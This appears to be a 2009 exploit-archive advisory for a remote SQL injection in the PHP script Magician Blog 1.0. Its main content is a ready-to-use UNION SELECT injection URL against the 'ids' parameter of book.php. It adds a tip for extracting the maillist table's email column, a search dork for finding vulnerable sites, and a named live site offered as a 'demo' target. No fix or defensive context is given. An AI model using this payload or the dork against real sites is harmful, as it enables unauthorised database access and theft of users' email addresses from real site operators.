[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Magician Blog <= 1.0 (ids) Remote SQL Injection Vulnerability
# Published : 2009-07-27
# Author : Evil-Cod3r
# Previous Title : Limny 1.01 (Auth Bypass) SQL Injection Vulnerability
# Next Title : Magician Blog <= 1.0 (Auth Bypass) SQL injection Vulnerability


==============================================================================
                      _      _       _          _      _   _
                     /     | |     | |        /     | | | |
                    / _    | |     | |       / _    | |_| |
                   / ___   | |___  | |___   / ___   |  _  |
   IN THE NAME OF /_/   _ |_____| |_____| /_/   _ |_| |_|
                                                        

==============================================================================
        [??] ~ Note : Been Repoted The Programed
==============================================================================
        [??] Magician Blog <= 1.0 Remot SQL injection Valunrability
==============================================================================

    [??] Script:             [ Magician v1.0 ]
    [??] Language:           [ PHP ]
    [??] home:               [ www.4smart.net ]
    [??] Founder:            [ Evil-Cod3r <IE7@Windowslive.com - o41@hotmail.Com> ]
    [??] Gr44tz to:          [ Recru1t Qabandi - Sniper Code - Mr.SaFa7 - The g0bL!N - S4S-T3rr0ist ]
    [??] Dork:               [ "Powered By 4smart" ]
    [??] Price:              [ $300 But i Scanned The Nulled !! ]

###########################################################################

===[ Exploit SQL  ]===  
  
    [??] http://www.Site.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--
    [??] Note : if you want mail list this is a table [ maillist ] the column > [email] and show mail list

  

===[ Live Demo ]===  

        [??] http://www.aloamman.com/
       

Author: Evil-Cod3r <-

###########################################################################

# www.Syue.com [2009-07-27]